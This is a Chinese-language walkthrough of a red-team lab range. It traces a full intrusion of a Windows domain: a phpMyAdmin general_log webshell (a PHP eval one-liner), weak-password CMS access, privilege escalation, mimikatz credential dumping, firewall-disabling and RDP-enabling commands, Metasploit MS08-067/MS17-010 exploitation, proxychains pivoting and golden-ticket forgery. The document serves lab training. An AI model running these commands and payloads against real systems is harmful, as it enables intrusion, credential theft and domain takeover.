ATT&CK红队评估实验靶场
靶场环境
首先该环境的网络拓扑环境与配置信息如下如下
其中web服务器中我们需要添加一块网卡,一块网卡与外网连通,一块网卡与内网连通。
机器之间连通情况
攻击机可以访问web服务器,web服务器可以访问域成员和域控,域成员和域控之间可以互相访问。
开始实验
端口扫描
首先我们获取web服务器的端口信息,对齐进行扫描
nmap -sS -p 0-1000 192.168.252.202
最终发现80端口打开,我们访问其80端口。
从我们访问之后可以得到一些基本的信息,其搭建网站采用的是phpstudy
`,网站采用的是php语言,以及其网站的绝对路径
c:/phpstudy/www`等信息。
网站目录爆破
经过对网站目录的爆破,我们找到了其phpmyadmin的路径
经过一些基本的弱口令测试我们成功的使用root:root
登录。
思路一
测试是否可以通过sql写入shell,首先进行如下测试
show global variables like "%secure%"
这里的secure_file_priv
的值为null
无法写入shell。
接着测试全局日志看是否可以写入shell。
show global variables like "%general_%"
这里配置有日志存放路径,接着我们将general_log
日志配置为ON
,接着修改日志文件路径为C:/phpStudy/WWW/log.php
。
set global general_log = ON;
set global general_log_file = "C:/phpStudy/WWW/log.php"
写入一句话马,此条记录会写入log.php文件中
select "<?php @eval($_POST['admin']);?>"
接着我们连接log.php
文件
http://192.168.252.202/log.php
成功列出文件目录
思路二
在数据库中,我们发现存在一个名为newyxcms
的数据库,通过对这个库中内容的查看,判断是存放网站数据的库,经过百度搜索newyxcms
得知是yxcms
,最终我们测试出网站首页http://192.168.252.202/yxcms
。
接着,我们再针对这个地址下进行网站目录暴破
尝试访问robots.txt
和public
路径,在public
中我们发先了其网站路径信息,其中我们判断admin
可能是后台登录界面
但是直接访问http://192.168.252.202/yxcms/admin
结果是404,我们对网站进行测试,找到其登录界面
在其网址中,我们发现了member
是我们之前发现的目录中的其中一个,我们尝试将其修改为admin
,最终进入了后台登录界面(或者在我们知道是yxcms时,直接进行百度其后台目录或者相关漏洞)
这里登录我们尝试基本的弱口令admin:123456
登录进入后台,进入后台之后,我们对其功能进行测试,最终找到前台模板可以添加文件,我们尝试写入一个shell
文件
显示成功写入文件,但是我们不知道文件所在位置,我们直接百度搜索yxcms
的目录结构,最终找到模板文件的位置
这里我们发现default
我们在之前目录遍历中见到过,所以直接在那里查找我们写入的文件,我们尝试访问http://192.168.252.202/yxcms/protected/apps/default/view/default/
发现了我们写入的shell
我们尝试连接一句话,成功。
权限提升
查看当前用户,可以值是普通普通用户权限
查看是域情况,得知存在域god,DNS服务器地址为192.168.52.138
接着我们查看目标机器中端口开放情况,可知3389端口未开放
为了方便提权,我们将shell反弹到CS中进行操作
查看目标主机的补丁信息
尝试ms14-058
进行提权,反弹会system权限shell
接着查看域内用户
net user /domain
查看域成员计算机列表,本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH
net group "domain computers" /domain
查看域内管理员,域控用户为OWA
net group "domain admins" /domain
使用lodan扫描内网
lodan 192.168.52.0/24 OnlinePC
使用dump查看密码
使用mimikatz抓取密码
得到administrator用户密码为123456-a
,接着开启3389然后关闭防火墙。
#命令行中开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
或
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#命令行关闭防火墙
netsh firewall set opmode disable # winsows server 2003 之前
netsh advfirewall set allprofiles state off # winsows server 2003 之后
接着我们远程登录目标主机,在目标主机中我们发现其存在nmap,我们直接进行内网信息收集
nmap --script=vuln 192.168.52.0/24
发现域成员主机存在MS08-067和MS17-010漏洞:
其中域控主机存在ms17-010
横向移动
MSF和CS联动
在msf中新建监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.252.133
set lport 8989
exploit
在CS中设置监听器
接着在CS中新增会话,监听器选择我们新建的msf
msf收到CS传过来的shell
内网流量转发(MSF+Proxychains)
run get_local_subnets
命令查看已拿下的目标主机的内网IP段
run get_local_subnets
添加一条通向目标服务器内网的路由
run autoroute -s 192.168.52.0/24
这里我们可以再次对目标主机进行端口扫描(之前获取到存在ms17-010
是因为目标主机存在nmap)
我们修改/etc/proxychains.conf
,最后一行添加socks4
代理服务器
接着使用msf的socks4代理模块
使用proxychains代理进行nmap扫描(多种方式获取内网端口信息)
发现存在MS08-067漏洞
MS08-067搭配bind tcp
由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监,执行如下命令
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run
获取141到主机的shell
MS17-010获取域控服务器
这里我们使用ms17-010获取域控主机的权限,执行如下命令
exploit/windows/smb/ms17_010_eternalblue #失败
接着尝试使用ms17_010_psexec
模块
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run
最终获取回话还是失败,接着我们尝试使用ms17-010-command
模块可以成功执行命令。
接着将其防火墙关闭
接着我们远程登录192.168.52.143
主机,经过dir \\192.168.52.138\C$
测试,发现已经连接
既然已经连接,我们在将域控的shell反弹到外网CS上,首先我们右键web服务器主机,中转->listener
接着生成一个后门,注意需要是stageless
先将后门文件上传到web主机上,然后将文件通过共享文件传到138主机
#复制远程文件到本地主机
copy \\192.168.52.138\c$\2.txt D:\test
#上传文件到远程主机
copy c:\1.txt \\192.168.52.138\c$
接着在kali中使用命令执行后门程序
CS中已经拿到内网主机的shell
构造黄金票据
拿到域控主机后我们来构造黄金票据,首先拿到krbtgt用户的NTLM
接着我们用mimikatz获得一个合法的SID
接着构造黄金票据,将刚才获取的信息填上
创建成功
使用mimikatz kerberos::list
命令查看当前系统的票据:
加载票据访问,选择监听器执行,主机上线